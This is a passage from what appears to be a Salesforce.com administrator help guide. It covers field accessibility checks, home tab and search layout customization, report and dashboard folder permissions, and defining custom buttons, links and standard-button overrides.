restrictive.

638
Customize Checking Field Accessibility

Important: Field-level security does not prevent searching on the values in a field. If you do not want users to
be able to search and retrieve records that match a value in a field hidden by field-level security, contact
salesforce.com Customer Support for assistance with setting up your organization to prevent unwanted access to
those field values.

• Permissions on profiles—Some user permissions on profiles override both page layouts and field-level security settings.
For example, users with the “Edit Read Only Fields” permission can always edit read-only fields regardless of any other
settings. Note that the field accessibility grid includes any field access restrictions based on permissions.
• Universally required fields—A custom field can be made universally required, which overrides any less-restrictive settings
on page layouts or field-level security.

After setting these items, you can confirm users’ access to specific fields using the field accessibility grid.

Checking Field Accessibility for a Particular Field


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view field accessibility: “View Setup and Configuration”

1. Navigate to the fields area of the appropriate object:

• For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click
Fields.
• For custom task and event fields, click Setup ➤ Customize ➤ Activities ➤ Activity Custom Fields.
• For standard task and event fields, click Setup ➤ Customize ➤ Activities, then click Task Fields or Event Fields.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.

2. Select a field and click View Field Accessibility.


3. Confirm that the field access is correct for different profiles and record types.
4. Hover your mouse over any field access setting to see whether the field is required, editable, hidden, or read only based on
the page layout or field-level security.
5. Click any field access setting to change the field’s accessibility in the page layout or in field-level security. See Modifying
Field Access Settings on page 640 for more information.

For advanced options to check field accessibility by a specific profile, record type, or field, click Setup ➤ Security Controls
➤ Field Accessibility. From this page, you need to choose a particular tab to view and then select whether you want to check
access by profiles, record types, or fields.
Important: Field-level security does not prevent searching on the values in a field. If you do not want users to be
able to search and retrieve records that match a value in a field hidden by field-level security, contact salesforce.com
Customer Support for assistance with setting up your organization to prevent unwanted access to those field values.

639
Customize Checking Field Accessibility

Modifying Field Access Settings


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view field accessibility: “View Setup and Configuration”
To change field accessibility: “Customize Application”
AND
“Manage Users”

From the field accessibility grid, you can click any field access setting to change the field’s accessibility in the page layout or
in field-level security. The Access Settings page then lets you modify the field access settings.

• In the Field-Level Security section of the page, set whether the field should be visible, hidden, read only, or editable for
users based on their profile.
We recommend that you use field-level security to control users’ access to fields rather than creating multiple page layouts
to control field access.
• In the Page Layout section of the page, you can:

- Select the Remove or change editability radio button and then change the field access properties for the page
layout. These changes will affect all profile and record type combinations that currently use this page layout.
- Alternatively, you can select the Choose a different page layout radio button to assign a different page layout
to the profile and record type combination.

See Also:
Overview of Page Layouts and Field-Level Security
Managing Page Layouts
Setting Field-Level Security
User Permissions on Profiles

640
Customize Customizing Home Tab Page Layouts

Customizing Home Tab Page Layouts


Available in: All Editions

User Permissions Needed


To view home page layouts: “Customize Application”
To create or change home page layouts: “Customize Application”

You can customize the Home tab to include components such as sidebar links, a company logo, or a dashboard snapshot. A
dashboard snapshot is a clipping of the top row of a dashboard’s components. Just like other tabs, you can also assign different
home page layouts to different users based on profile.
Alternatively, a custom home page layout can contain only the components that show up in the sidebar. You can determine
if custom sidebar components appear only on the Home tab or on all Salesforce.com pages.
To start customizing your home page layouts, see:

• Defining Home Tab Components on page 641


• Designing Home Tab Page Layouts on page 643
• Assigning Home Tab Page Layouts to Profiles on page 644

Defining Home Tab Components


Available in: All Editions

User Permissions Needed


To create or change home page layouts: “Customize Application”

Home page layouts contain standard components, such as Recent Items and Messages & Alerts, and any custom components
you create. You can create custom components such as a logo; see Creating Custom Components on page 642. Additionally,
you can edit some standard components; see Editing Components on page 641.

Editing Components
1. Click Setup ➤ Customize ➤ Home ➤ Home Page Components.
2. Click Edit next to the component you want to edit. If there is no Edit link next to a component, it is read only.
3. Make any changes.
• When editing the standard Messages & Alerts component, enter the text you want to display to users. If entering
HTML code for your message, make sure it is self-contained, well-formed HTML.
• When editing the Custom Links component, enter the link text to display to users in the Bookmark field. In the URL
field, enter the complete website address, such as http://www.yahoo.com. To link to a Salesforce.com page, such

641
Customize Customizing Home Tab Page Layouts

as a frequently-viewed report, enter only the part of the URL after salesforce.com, for example,
/00Ox0000000esq4. These links always open within the main Salesforce.com window, not in a popup window.
Note: The standard home page Custom Links component is a quick way to add links to the sidebar, but it
does not support merge fields, functions (such as the URLFOR function), executing JavaScript, or customizable
window opening properties. If you need this additional functionality:
a. Click Setup ➤ Customize ➤ Home ➤ Custom Links, and create your home page custom links on that
page.
b. Click Setup ➤ Customize ➤ Home ➤ Home Page Components, and create a custom home page
component of type Links on that page that includes the custom links created in the first step. See Creating
Custom Components. Note that creating a custom home page component for your links does not change
the visual styling for your end users.

4. Click Save.
Next, add the component to a home page layout; see Designing Home Tab Page Layouts on page 643.

Creating Custom Components


If you are creating custom link components, define your Home tab custom links first; see Setting Custom Buttons and Links
on page 652. If you are creating an image component, upload your image to the Documents tab first. For information on
uploading your files to the Documents tab, see Uploading and Replacing Documents on page 1517.
1. Click Setup ➤ Customize ➤ Home ➤ Home Page Components.
2. Click New.
3. Enter a name for the component. For custom links, this name displays as the section heading in the sidebar on the Home
tab.
4. Choose the type of component.
5. Click Next.
• For links, select the appropriate custom links and click Add.
• For images, click Insert an image, choose the document folder, and select the image file. Note that the image file must
be in a public folder and the Externally Available checkbox must be selected on the document's properties so
that users can view the image.
• For HTML area, choose where to display the component, in either the wide or narrow column, and enter your text,
image, or links in the box below.
Note: Components in the narrow column display in the sidebar. They do not display in the sidebar on other
pages within Salesforce.com unless you specify that in your user interface settings or by assigning the “Show
Custom Sidebar On All Pages” permission at the profile level. To change your user interface settings, see
Customizing User Interface Settings on page 411. For information on profile permissions, see User Permissions
on Profiles on page 150.

For instructions on using the HTML format toolbar, see Using the Format Toolbar on page 117.

6. Click Save.
Next, add the component to a home page layout; see Designing Home Tab Page Layouts on page 643.

642
Customize Customizing Home Tab Page Layouts

Tip: Keep your image size smaller than 20 KB for optimum performance. If your image is too large to fit in the insert
window, use an image editor to resize the image. Save your image in gif or jpeg format to reduce file size.

See Also:
Designing Home Tab Page Layouts
Assigning Home Tab Page Layouts to Profiles

Designing Home Tab Page Layouts


Available in: All Editions

User Permissions Needed


To view home page layouts: “Customize Application”
To create or change home page layouts: “Customize Application”

After creating the components you want displayed on the Home tab, begin designing your home page layouts. Initially, all
users, including Salesforce.com Customer Portal users, are assigned to the Home Page Default layout. After designing your
own home page layout, assign users to it; see Assigning Home Tab Page Layouts to Profiles on page 644.

1. Click Setup ➤ Customize ➤ Home ➤ Home Page Layouts.


2. To create a new page layout, click New. To create a layout cloned from an existing layout, select the layout you want to
copy and click Clone.
3. Enter a Page Layout Name for the new layout.
4. Click Save.
5. Select the components you want displayed on the new page layout. Consider the following:

• The components you select for the narrow column display in the sidebar. They do not display in the sidebar on other
pages within Salesforce.com unless you specify that in your user interface settings. To change your user interface settings,
see Customizing User Interface Settings on page 411. If you only want certain profiles to view sidebar components on
all pages, you can assign those profiles the “Show Custom Sidebar On All Pages” permission.
• Select Approval Requests to add the Items To Approve component to a home page layout.
• Select Article Search to add the Find Articles component to a home page layout. This component is only available
for Salesforce Knowledge users.
• When you select Dashboard Snapshot as a component to show on a home page layout, Salesforce.com displays the
last dashboard the user accessed. Give users instructions on changing the dashboard themselves; see Customizing Your
Display on page 59. Users can view a dashboard snapshot on their Home tab if they have access to at least one dashboard.
See Refreshing Dashboard Data on page 1508.
Tip: When designing home page layouts for your Customer Portal, we recommend adding the following
components: Search, Solution Search, Recent Items, Customer Portal Welcome; and a custom HTML Area
component that includes your corporate branding in the wide column.

643
Customize Customizing Home Tab Page Layouts

6. Click Next.
7. Arrange the selected components in the desired columns. Select the component and use the arrow keys to move it.
8. Optionally, click Preview to display the home page layout.
9. Click Save & Assign to save the page layout and assign it to a profile.

See Also:
Customizing Home Tab Page Layouts
Defining Home Tab Components
Assigning Home Tab Page Layouts to Profiles
Setting Up Your Customer Portal

Assigning Home Tab Page Layouts to Profiles


Available in: All Editions

User Permissions Needed


To assign home page layouts: “Customize Application”

Your home page layouts are only visible to users after you assign them to a user profile.

1. Click Setup ➤ Customize ➤ Home ➤ Home Page Layouts.


2. Click Page Layout Assignment.
3. Click Edit Assignment.
4. Choose the appropriate page layout for each profile.
5. Click Save.

Tip: Notify users how to customize their dashboard settings on their Home tab by clicking Setup ➤ My Personal
information ➤ Change My Display and choosing the link for Home. See Customizing Your Display on page 59.

See Also:
Defining Home Tab Components
Designing Home Tab Page Layouts
Changing Your Home Tab Dashboard

644
Customize Customizing Search Layouts

Customizing Search Layouts


Available in: All Editions

User Permissions Needed


To change search layouts: “Customize Application”

Customize which fields display for users in search results, search filter fields, lookup dialogs, the recent records lists on tab
home pages, and in lookup phone dialogs for Salesforce CRM Call Center. You can specify a different set of fields to show
in each search layout. The settings apply to all users in your organization and Salesforce.com Customer Portal.
Additionally, customize which buttons display in custom list views and search results. You can hide a standard list view button
or display a custom button. Standard buttons are not available on search result layouts. To display a custom button, create the
custom button and give it a “List Button” Display Type.

1. Click Setup ➤ Customize, select the appropriate activity or tab link, and choose the Search Layouts link.
2. Click Edit next to the layout you want to customize. You can specify a different set of items to display for search results,
lookup dialogs, recent records lists on tab home pages, lookup phone dialogs, list views, and search filter fields.
3. For list view and search results layouts, select any standard or custom buttons you want to display. To hide a standard
button on the list view, deselect it. Standard buttons are not available on search result layouts.
4. Use the arrows to add or remove items from the layout, and to define the order in which the fields should display. To select
more than one item, use CTRL+click or SHIFT+click to select multiple items in a range.

• Select one or more items in the available list and click Add to add them to the layout.
• Select one or more items in the selected list and click Remove to remove them from the layout.
• Select one or more items in the selected list and click Up to move them higher in the list.
• Select one or more items in the selected list and click Down to move them lower in the list.

Note: When editing a search results layout for an object, you can select the Override the search result
column customizations for all users checkbox. If selected, all user column customizations within your
organization will be overwritten and set to the organization-wide default settings.

5. Click Save.

Notes on Search Layouts


• Search layouts do not apply to Salesforce CRM Content. To search for files and Web links in Salesforce CRM Content,
see Searching for Content on page 1967.
• Search layouts do not apply to campaign members.
• The search layout does not determine which fields are searched for keyword matches. See Search Fields on page 2076 for a
list of which fields are searched.
• You can add up to 10 fields to each search layout.
• You cannot remove unique identifying fields, such as Account Name or Case Number, from the search layouts. These
fields must be listed first in the order of fields in the search layout.
• You cannot add long text fields such as Description, Solution Details, or custom long text area fields to search
layouts.

645
Customize Customizing Search Layouts

• All fields are available to be added to the search layout even if some fields are normally hidden for the user customizing
the search layout.
• For Enterprise, Unlimited, and Developer Edition organizations, search layouts do not override field-level security. If a
field is included in the search layout but hidden for some users via field-level security, those users do not see that field in
their search results.
• For Personal, Contact Manager, Group, and Professional Edition organizations, search layouts override page layout settings.
If a field is included in the search layout but hidden in the page layout, that field will be visible in search results.
• The search results layouts for leads, accounts, contacts, and opportunities also apply to the search results displayed when
finding duplicate leads.
• Formula fields are not available in search result layouts.
• Do not remove the Phone field from any lookup phone dialogs search layout. If you do so, users will not be able to use
the directory search results to enter a phone number into a SoftPhone dial pad.
• To add a custom button to a list view or search layout, create the custom button for a standard or custom object, giving it
the “List Button” Display Type. The custom button will be available in the list view and search result layouts for that
object.
Tip: In account search results, you can visually differentiate business accounts from person accounts by adding the
Is Person Account field, which displays as the person account icon ( ).
You may specify the Is Person Account field as the first column in account search layouts. Otherwise, Account
Name must be the first column.
For more information, see What is a Person Account? on page 1125.

See Also:
Managing Page Layouts
Customizing a Call Center Directory
Overview of Page Layouts and Field-Level Security
Setting Field-Level Security
Setting Up Your Customer Portal

646
Customize Managing Folders

Managing Folders
Available in: All Editions
Report folders not available in: Contact Manager, Group, and Personal Editions

User Permissions Needed


To create, edit, or delete public document folders: “Manage Public Documents”
To create, edit, and delete public email template folders: “Manage Public Templates”
To create, edit, and delete public report folders: “Manage Public Reports”
To create, edit, and delete public dashboard folders: “Manage Dashboards”
AND
“View All Data”

A folder is a place where you can store documents, dashboards, reports, or email templates. You control who has access to a
folder based on roles, public groups, or your entire organization. Alternatively, you can make a folder private, preventing any
other users from viewing it.

• To access document folders, click the Documents tab. See Document Library Overview on page 1514 for information on
displaying the Documents tab.
• To access email template folders, click Setup ➤ Communication Templates ➤ Email Templates.
• To access report folders, click the Reports tab, or to manage all of your organization’s report folders, click Setup ➤
Customize ➤ Reports.
• To access dashboard folders, click the Dashboards tab. See Dashboards Overview on page 1493 for more information on
dashboards.

To create a new folder, click Create New Folder.


To edit a folder, click Edit next to the folder name. Alternatively, select a folder name from the Folder drop-down list and
click Edit.
Note: You can modify the contents of a folder only if the folder access level is set to Read/Write. Only users with the
“Manage Public Documents” or “Manage Public Templates” can delete or change a Read Only folder. Regardless of
permissions or folder settings, users cannot edit any unfiled or personal folders.

Controlling Access to Report Folders


Folder access is controlled by permissions. The following tables show the permissions that users must have to access the three
different types of report folders: public, hidden, and shared folders.

647
Customize Managing Folders

Public Folders

Access Level Permissions to Access Read-Only Folders Permissions to Access Read/Write Folders
Read Any of the following: Any of the following:
• “Run Reports” • “Run Reports”
• “Manage Public Reports” • “Manage Public Reports”
• “View All Data” • “View All Data”

Write New “Manage Public Reports” “Create and Customize Reports”


Modify/Delete “Manage Public Reports” “Manage Public Reports”

Hidden Folders

Access Level Permissions to Access Read-Only Folders Permissions to Access Read/Write Folders
Read “View All Data” “View All Data”
Write New “Manage Public Reports” “Manage Public Reports”
Modify/Delete “Manage Public Reports” “Manage Public Reports”

Shared Folders

Access Level Permissions to Access Read-Only Folders Permissions to Access Read/Write Folders
Read Any of the following: Any of the following:
• “Run Reports” (for shared users) • “Run Reports” (for shared users)
• “Manage Public Reports” • “Manage Public Reports”
• “View All Data” • “View All Data”

Write New “Manage Public Reports” “Create and Customize Reports” (for shared
users)
Modify/Delete “Manage Public Reports” “Manage Public Reports”

Controlling Access to Dashboard Folders


Folder access is controlled by permissions. The following tables show the permissions that users must have to access the three
different types of dashboard folders: public, hidden, and shared folders.
Public Folders

Access Level Permissions to Access Read-Only Folders Permissions to Access Read/Write Folders
Read “Run Reports” “Run Reports”

648
Customize Managing Folders

Access Level Permissions to Access Read-Only Folders Permissions to Access Read/Write Folders
Write New All of the following: Both of the following:
• “Run Reports” • “Run Reports”
• “Manage Dashboards” • “Manage Dashboards”
• “View All Data”

Modify/Delete All of the following: All of the following:


• “Run Reports” • “Run Reports”
• “Manage Dashboards” • “Manage Dashboards”
• “View All Data” • “View All Data”

Hidden Folders

Access Level Permissions to Access Read-Only Folders Permissions to Access Read/Write Folders
Read Both of the following: Both of the following:
• “Run Reports” • “Run Reports”
• “View All Data” • “View All Data”

Write New All of the following: All of the following:


• “Run Reports” • “Run Reports”
• “Manage Dashboards” • “Manage Dashboards”
• “View All Data” • “View All Data”

Modify/Delete All of the following: All of the following:


• “Run Reports” • “Run Reports”
• “Manage Dashboards” • “Manage Dashboards”
• “View All Data” • “View All Data”

Shared Folders

Access Level Permissions to Access Read-Only Folders Permissions to Access Read/Write Folders
Read “Run Reports” “Run Reports”
Write New All of the following: Both of the following:
• “Run Reports” • “Run Reports”
• “Manage Dashboards” • “Manage Dashboards”
• “View All Data”

Modify/Delete All of the following: All of the following:


• “Run Reports” • “Run Reports”
• “Manage Dashboards” • “Manage Dashboards”

649
Customize Managing Folders

Access Level Permissions to Access Read-Only Folders Permissions to Access Read/Write Folders
• “View All Data” • “View All Data”

See Also:
Creating and Editing Folders
Deleting Folders
Filing Items in Folders

Creating and Editing Folders


Available in: All Editions
Report folders not available in: Contact Manager, Group, and Personal Editions

To create a new folder, click Create New Folder from any page that lists folders.
To change a folder, click Edit next to the folder name from any page that lists folders.

1. Enter a Folder Label. The label is used to refer to the folder on user interface pages.
2. If you have the “Customize Application” permission, enter a Unique Name. The unique name is used to refer to the
component when using the Force.com API. In managed packages, this name prevents naming conflicts on package
installations. This name can contain only underscores and alphanumeric characters, and must be unique in your organization.
It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
With the Unique Name field, a developer can change certain components' names or titles in a managed package and the
changes are reflected in a subscriber's organization.
3. Choose a Public Folder Access option. Select Read/Write if you want users to be able to change the folder contents.
A read-only folder can be visible to users but none will be able to change its contents.
4. Select an unfiled report, dashboard, or template and click Add to store it in the new folder. Skip this step for document
folders.
5. Choose a folder visibility option:

• This folder is accessible by all users, including portal users gives every user in your organization
the ability to see the contents of the folder, including customers with access to your Salesforce.com Customer Portal.
• This folder is hidden from all users makes the folder private.
• This folder is accessible only by the following users allows you to grant access to a desired set of
users:

a. Choose “Public Groups”, “Roles,” “Roles and Subordinates,” “Territories,” or “Territories and Subordinates” from
the Search drop-down list. The choices vary by Edition and whether your organization has territory management.
Note that “and Subordinates” includes all users at the specified level plus all subordinate users in lower levels. Also,
when you share a folder with a group, managers of the group members have no access to the folder unless those
managers are also members of the group.

650
Customize Managing Folders

b. If the Available for Sharing list does not immediately display the desired value, enter search criteria and
click Find.
c. Select the desired value from the Available for Sharing list and click Add to move the value to the Shared
To list.

6. Click Save.

See Managing Folders on page 647 for the required permissions to create new folders.

See Also:
Deleting Folders
Filing Items in Folders

Deleting Folders
Available in: All Editions
Report folders not available in: Contact Manager, Group, and Personal Editions

You can only delete folders that are empty. Before you begin, remove all the documents, dashboards, templates, or reports
from the folder you would like to delete.

1. Click Edit next to the folder name from any page that lists folders.
2. Click Delete.
3. Click OK to confirm.

See Managing Folders on page 647 for the required permissions to delete a folder.

Filing Items in Folders


Available in: All Editions
Report folders not available in: Contact Manager, Group, and Personal Editions

To move a document, dashboard, report, or email template to a different folder:

1. Select the item to be stored in a folder.


2. Click Edit Properties.
3. Choose another folder.
4. Click Save.

See Managing Folders on page 647 for the necessary permissions to perform this task.

651
Customize Setting Custom Buttons and Links

Just like report folders contain reports and email template folders contain email templates, document folders can only contain
documents. To store an attachment in a document folder, save the attachment to your computer and upload it to the document
library.
Note: Email templates that are used by Web-to-Case, Web-to-Lead, assignment rules, or escalation rules must be
marked as “Available for Use.”

Setting Custom Buttons and Links


Available in: All Editions

User Permissions Needed


To create or change custom buttons and links: “Customize Application”

Create custom buttons and links to integrate Salesforce.com data with external URLs, applications, your company’s intranet,
or other back-end office systems.
Custom links can link to:

• An external URL, such as www.google.com or your company’s intranet


• A custom s-control in the custom s-control library, such as a Java applet or Active-X control

Custom buttons can:

• Connect users to external applications, such as a web page that displays a map to a contact's address
• Run an s-control from the s-control library, such as an s-control that escalates a case from the case detail page
• Launch custom links

For both custom links and buttons, you can choose the display window properties that determine how the target of a link or
button is displayed to your users. Custom links and s-controls can include Salesforce.com fields as tokens within the URL or
custom s-control. For example, you could include an account name in a URL that searches Yahoo:
http://search.yahoo.com/bin/search?p={!Account_Name}. In addition, s-controls can include operators and
functions.
In addition, you can override the default action of some standard buttons and customize the behavior of tab home pages to
suit your organization's needs. For more information, see Overriding Standard Buttons and Tab Home Pages on page 659.

See Also:
Defining Custom Buttons and Links
Adding Default Custom Links
About S-Controls
Administrator tip sheet: Building Salesforce Custom Links

652
Customize Setting Custom Buttons and Links

Defining Custom Buttons and Links


Custom buttons and links are available in: All Editions
Visualforce pages and s-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and
Developer Editions

User Permissions Needed


To create or change custom buttons or links: “Customize Application”

Before creating a custom button or link, determine what action you want to occur when a user clicks it. Consider a Visualforce
page if you want the button or link to launch a custom page or other code.
To define custom buttons and links:

1. Select Setup ➤ Customize, select the appropriate tab or users link, and choose Buttons and Links. Custom buttons are
not available on the user object or custom home pages.
Custom buttons and links are available for activities under the individual setup links for tasks and events. However, you
can override a button that applies to both tasks and events by clicking Setup ➤ Customize ➤ Activities ➤ Activity
Buttons.
For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
2. Click New from the Custom Buttons and Links section.
3. Enter the following attributes:

Attribute Name Description


Label The text that displays on user pages for the custom button or link.
Name The unique name for the button or link used when referenced from a merge field. This name
can contain only underscores and alphanumeric characters, and must be unique in your
organization. It must begin with a letter, not include spaces, not end with an underscore, and
not contain two consecutive underscores.
Namespace Prefix In a packaging context, a namespace prefix is a one to 15-character alphanumeric identifier
that distinguishes your package and its contents from packages of other developers on
AppExchange. Namespace prefixes are case-insensitive. For example, ABC and abc are not
recognized as unique. Your namespace prefix must be globally unique across all Salesforce.com
organizations. It keeps your managed package under your control exclusively.
Protected Component Protected components cannot be linked to or referenced by components created in a subscriber
organization. A developer can delete a protected component in a future release without
worrying about failing installations. However, once a component is marked as unprotected
and is released globally, the developer cannot delete it.
Description Text that distinguishes the button or link from others. This displays only to administrators
when setting up buttons and links.

653
Customize Setting Custom Buttons and Links

Attribute Name Description


Display Type Determines where the button or link is available on page layouts:
Detail Page Link
Select this option if you want to add the link to the Custom Links section of your page
layouts.
Detail Page Button
Select this option if you want to add the custom button to a record's detail page. You
can only add detail page buttons to the Button Section of a page layout.
List Button
Select this option if you want to add the custom button to a list view, search result layout,
or related list. You can only add list buttons to the Related List Section of a page layout
or the List View and Search Result layouts.
For list buttons, Salesforce.com automatically selects a Display Checkboxes (for
Multi-Record Selection) option that includes a checkbox next to each record in the
list, allowing users to select the records they want applied to the action on the list button.
Deselect this option if your custom button does not require the user to select records
such as one that quickly navigates the user to another page.

Behavior Choose the outcome of clicking the button or link.


When applicable, some settings have default values. For example, if you choose “Display in
new window,” the default height of a new window is 600 pixels. To change these settings,
see Editing Window Open Properties on page 656.

Content Source Choose whether to use a URL, s-control, JavaScript action, or Visualforce page as the content
of the button or link. To use an s-control, choose “Custom S-Control,” and select the s-control
from the drop-down list. To use a URL, select “URL,” and enter the link below in the text
area box exactly as it would appear in the address bar of a Web browser. To execute JavaScript
code when the button or link is activated, select “OnClick JavaScript,” and enter the code in
the text area box below. To use a Visualforce page, select “Visualforce Page,” and choose the
page from the drop-down list.
Note:

• Visualforce pages used as custom links on the home page cannot specify a
controller.
• Visualforce pages used as custom buttons or links on detail pages must specify a
standard controller of the same object.
• Visualforce pages used as custom list buttons must use a standard list controller
of the same object.

Content Enter the content of the button or link for buttons and links of type URL or OnClick
JavaScript:
• To insert a field, choose the field type in the Select Field Type drop-down list, and
choose one of the fields listed in the Insert Field drop-down list.

654
Customize Setting Custom Buttons and Links

Attribute Name Description


• To insert activity merge fields, select “Event” or “Task” from the Select Field Type
drop-down list.
• To insert an operator, choose the appropriate operator icon from the Insert Operator
drop-down list. Use the examples in Operators and Functions on page 548.
• To insert a function, double-click its name in the list, or select it and click Insert Selected
Function. To filter the list of functions, choose a category from the Functions
drop-down list. Select a function and click Help on this function to view a description
and examples of formulas using that function.

Tip: Internet standards require special encoding for URLs. Salesforce.com


automatically encodes the text from any merge field you insert into a link. Encode
any additional text in your link manually. For example, to generate the following
URL:

http://www.google.com/search?q={!user.name} Steve Mark 50%

Use this content:

http://www.google.com/search?q={!user.name}+Steve+Mark+50%25

Salesforce.com automatically strips double quotes from URLs when the Content
Source is URL. If you need to use double quotes, encode them manually. For
example, to generate the URL
http://www.google.com/search?q="salesforce+foundation", use
this content:
http://www.google.com/search?q=%22salesforce+foundation%22.

Link Encoding Encoding setting that defaults to Unicode (UTF-8). Change the default encoding setting if
the target of a link requires data in a different format. This is available if your Content Source
is URL.

4. Optionally, click Check Syntax to validate all Salesforce.com merge fields and functions.
5. Click Save when you are finished.
Click Quick Save to save and continue editing.
Click Preview to view the URL specified.
Click Cancel to quit without saving your content.
6. Edit the page layout for the appropriate tab or search layout to display the new button or link.
If you add a custom link for users, it is automatically added to the Custom Links section of the user detail page. Detail
page buttons can only be added to the Button Section of a page layout.
7. Optionally, set the window properties if you prefer the link or button opening using different settings than the user's default
browser settings.

655
Customize Setting Custom Buttons and Links

Note: The Link URL can be up to 3000 bytes. When data is substituted for the tokens in the URL, the link may
exceed 3000 bytes. Your browser may enforce additional limits for the maximum URL length.

See Also:
Custom Button Considerations
Viewing References to Salesforce.com Components
Useful Custom Buttons and Links
Editing Window Open Properties
Adding Default Custom Links
Overriding Standard Buttons and Tab Home Pages

Editing Window Open Properties

Available in: All Editions


S-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit custom button or link properties: “Customize Application”

Custom buttons and links can open in different types of windows. If you have selected a custom button or link to open in a
popup window, set the window properties. If you leave the window properties blank, the custom button or link will use the
default settings of the user’s browser.
To edit the window open properties:

1. Select the custom button or link by clicking Setup ➤ Customize, selecting the appropriate tab or users link, clicking
Buttons and Links, and selecting the button or link name. Custom buttons are not available on the user object.
For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
2. Click Window Open Properties.
3. Edit the following properties:

Window Property Description


Width The width (in pixels) of the popup.
Height The height (in pixels) of the popup.
Window Position The location on the screen where the popup should open.
Resizeable Allow users to resize the popup window.
Show Address Bar Show the browser’s address bar which contains the URL.
Show Scrollbars Show browser scrollbars for the popup.

656
Customize Setting Custom Buttons and Links

Window Property Description


Show Toolbars Show the browser toolbars. Toolbars normally contain
navigation buttons like Back, Forward, and Print.
Show Menu Bar Show the browser menus. The menus typically contain
option like File and Edit.
Show Status Bar Show the status bar at the bottom of the browser.

Note: Some properties may not be available depending on the Behavior of the custom button or link. For
example, if you chose “Execute JavaScript,” no window open properties are available.

See Also:
Defining Custom Buttons and Links

Custom Button Considerations

Custom buttons and links are available in: All Editions


Visualforce pages and s-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and
Developer Editions

User Permissions Needed


To create or change custom buttons or links: “Customize Application”

Review the following implementation notes and best practices for custom buttons:

Implementation Notes
• Custom buttons display at the top and bottom of the detail page to the right of all standard buttons.
• You can include s-controls in any field section on your page layout to display the s-control content “inline” without requiring
users to click a button or link to see it. Simply edit the page layout, choose the s-control, and drag it to any section on the
page layout.
• If your custom link references a URL, create a custom s-control that references that URL so you can include the s-control
directly on your page layout.
• Custom buttons are not distinguished from standard buttons in any graphical way. However, you can recognize them by
their location on the right of all standard buttons.
• If the button bar gets too wide on the detail page layout, the browser displays a horizontal scroll bar. If the button bar gets
too wide on the list view, search result, tagging result, or related list layouts, the buttons wrap.
• Custom buttons are available for activities under the individual setup links for tasks and events. To add a custom button
to an activity list view or search layout, first create a custom list button in tasks or events. Next, add it to your activity list
view or search result layouts. To override a button that applies to both tasks and events, click Setup ➤ Customize ➤
Activities ➤ Activity Buttons.

657
Customize Setting Custom Buttons and Links

• Custom buttons are not available in Web-to-Lead, Web-to-Case, or on the user object.
• If your organization uses person accounts, your person account records use any custom buttons and links you have made
for accounts. Use the person account page layouts to edit any custom links or detail page buttons for person account records.
To customize the list view or search result layouts for person accounts, edit the account list view and search result layouts
where you access account search layouts.
• If your organization uses the console, list buttons are available in the Mass Action drop-down list. List buttons will not
display in the mini page layouts. Pages that display due to custom buttons and links display in the console without the
header or sidebar.
• If you get an error message when overriding a button that appears in a list, try calling the s-control using the URLFOR
function.
• When creating custom buttons, be mindful of any validation rules your organization has for records on that object. For
example, a custom list button that changes case status may conflict with a case validation rule. In this scenario, Salesforce.com
displays the error message for the validation rule when users click the custom button.
• If you want to replace a standard button with a custom button, first define the custom button, then customize the page
layout to hide the standard button and display the custom one in its place. For more information, see Customizing Page
Layouts.

Best Practices
• Use formula functions in s-controls or custom buttons with caution. Because functions run on the server before your
HTML or JavaScript is passed to the browser, they can only evaluate information that exists at that time. Avoid using
functions like IF to evaluate conditions that only exist when the code reaches the browser, such as the value of a JavaScript
variable that is returned from your code.
• To prevent a user from performing a particular action, such as creating or editing, change the user's permissions rather
than hiding the standard button. Hiding a standard button removes it from a page layout but the link is still available and
users can navigate to the new or edit page manually.
• Use global variables to access special merge fields for components like custom buttons, links, and s-controls. For example,
the $Request global variable allows you to access query parameters inside a snippet, s-control, or custom button.
• To insert activity merge fields, select “Event” or “Task” from the Select Field Type drop-down list.
• Do not select the Display Checkboxes (for Multi-Record Selection) option for list buttons that link to a URL that does
not support post operations. Checkboxes display next to records in a list if you have selected the Display Checkboxes (for
Multi-Record Selection) option for at least one list button in that list. However, selected records in this list are unaffected
when clicking a custom list button that does not have this option selected.
For considerations on overriding standard buttons, see Overriding Standard Buttons and Tab Home Pages on page 659.

See Also:
Defining Custom Buttons and Links
Useful Custom Buttons and Links

658
Customize Setting Custom Buttons and Links

Adding Default Custom Links

Available in: All Editions

User Permissions Needed


To create or change custom links: “Customize Application”

To add any of the predefined custom links:

1. Select Setup ➤ Customize, select the appropriate tab link, and choose Buttons and Links.
2. Click Default Custom Links.
3. Click Add Now! next to a sample link you want to add.
4. Change any of the default data for the link, as necessary.
5. Choose Save.
6. Edit the page layout for the appropriate tab to display the new link. See Managing Page Layouts on page 618.

See Also:
Defining Custom Buttons and Links

Overriding Standard Buttons and Tab Home Pages


Available in: Enterprise, Unlimited, and Developer Editions
Visualforce overrides also available in: Contact Manager, Group, and Professional Editions

User Permissions Needed


To override standard buttons and tab home pages: “Customize Application”
To reset button and tab home page overrides: “Customize Application”

Salesforce.com gives you the power to override the action of the standard buttons provided on record detail pages. In addition,
you can override the tab home page that displays when a user clicks a standard or custom object tab.
To override a standard button or a tab home page:

1. Before you override a standard button, review the considerations for overriding standard buttons.
2. Navigate to the appropriate override page:

• For standard objects, click Setup ➤ Customize, select the appropriate object or tab link, then click Buttons and Links.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.

3. Click Override next to the button or tab home page you want to override in the Standard Buttons and Links related list.

659
Customize Setting Custom Buttons and Links

Note that events and tasks do not have their own tabs, so you can only override the standard buttons and links for those
objects.
4. Specify the content type: Custom S-Control or Visualforce Page.
5. Select the name of the s-control or Visualforce page you want to run when users click the button or tab.
When overriding buttons with a Visualforce page, only Visualforce pages that use the standard controller for the object
on which the button appears can be selected. For example, if you want to use a page to override the Edit button on accounts,
the page markup must include the standardController="Account" attribute on the <apex:page> tag:

<apex:page standardController="Account">

... page content here ...

</apex:page>

When overriding tabs with a Visualforce page, only Visualforce pages that use the standard list controller for that tab,
